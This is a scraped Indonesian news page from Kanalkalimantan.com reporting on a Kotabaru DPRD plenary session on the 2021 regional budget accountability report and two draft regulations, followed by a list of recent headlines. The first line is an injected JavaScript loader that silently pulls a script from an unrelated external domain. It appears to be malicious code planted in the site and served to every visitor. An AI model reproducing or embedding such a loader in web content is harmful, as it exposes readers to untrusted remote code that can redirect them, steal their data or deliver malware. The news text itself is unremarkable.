(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD KOTABARU

DPRD Kotabaru Gelar Paripurna Pertanggungjawaban APBD Tahun 2021


KANALKALIMANTAN.COM, KOTABARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kotabaru menggelar rapat paripurna masa persidangan III rapat ke-10 tahun sidang 2021/2022.

Rapat yang dilaksanakan terkait laporan akhir pembahasan DPRD Kotabaru satu buah Raperda tentang pertanggungjawaban Anggaran Pendapatan Belanja Daerah (APBD) tahun anggaran 2021.

Ada pula laporan akhir proses pembahasan pansus DPRD atas dua Raperda, bertempat di ruang rapat paripurna lantai III, Senin (11/7/2022).

Rapat paripurna itu dipimpin oleh Ketua DPRD Kotabaru, Syairi Mukhlis, didampingi wakil ketua H Mukhni AF dan H Muhammad Arif, dan Sekretaris Daerah H Said Akhmad yang mewakili bupati Kotabaru serta anggota DPRD, kepala SKPD, dan Forkopimda.

 

Baca juga  : Korban Tenggelam Jukung Karam di Jembatan RK Ilir Banjarmasin Ditemukan

Said Ahmad Assegaf menyatakan, berterimakasih dan memberikan apresiasi kepada anggota DPRD atas pembahasan pertanggungjawaban APBD tahun anggaran 2021 sehingga menghasilkan rekomendasi terhadap keseluruhan penyelenggaraan pemerintah dan pembangunan daerah Kotabaru.

“Rekomendasi ini adalah fungsi kontrol sosial dan saran konstruktif dalam kontek perbaikan untuk penyempurnaan guna keberhasilan penyelenggaraan pemerintah,” katanya.

Diakuinya, selama tahun 2021 penyelenggaraan pemerintahan ataupun pelaksanaan pembangunan masih ada ditemui kendala yang perlu dibenahi juga disempurnakan khususnya dalam pencapaian visi dan misi daerah.

Oleh karenanya, lanjut dia, persamaan persepsi dan komitmen yang kuat dalam membangun Kotabaru sangat penting antara kerjasama Pemkab Kotabaru dan pihak DPRD sebagai modal dasar keberhasilan dalam pelaksanaan pembangunan.

“Pemerintah daerah juga mengucapkan terimakasih, kepada panitia khusus (Pansus) DPRD yang mana sudah melakukan pembahasan terhadap dua buah Rancangan Peraturan Daerah (Raperda) yaitu, Raperda tentang penyelenggaraan perumahan dan kawasan pemukiman dan Raperda tentang perubahan atas peraturan daerah nomor 04 tahun 2012 tentang retribusi perizinan tertentu,” pungkas dia. (Kanalkalimantan.com/muhammad)

Reporter : Muhammad
Editor : Dhani


Desy Arfianty

Recent Posts

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

3 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

6 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

6 jam ago

Sekda Banjar Wakili Bupati di Rapat Paripurna Bahas Raperda Tentang Penanaman Modal

KANALKALIMANTAN.COM, MARTAPURA - Rapat Paripurna beragendakan Jawaban Bupati atas Pemandangan Umum Fraksi-fraksi DPRD terhadap Rancangan… Read More

8 jam ago

Antisipasi Bencana, Ini Pesan Gubenur Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More

9 jam ago

Siap Tarung di Pilkada Kapuas, Mantan Wagub Kalteng Habib Ismail Lamar Nasdem

KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More

10 jam ago

This website uses cookies.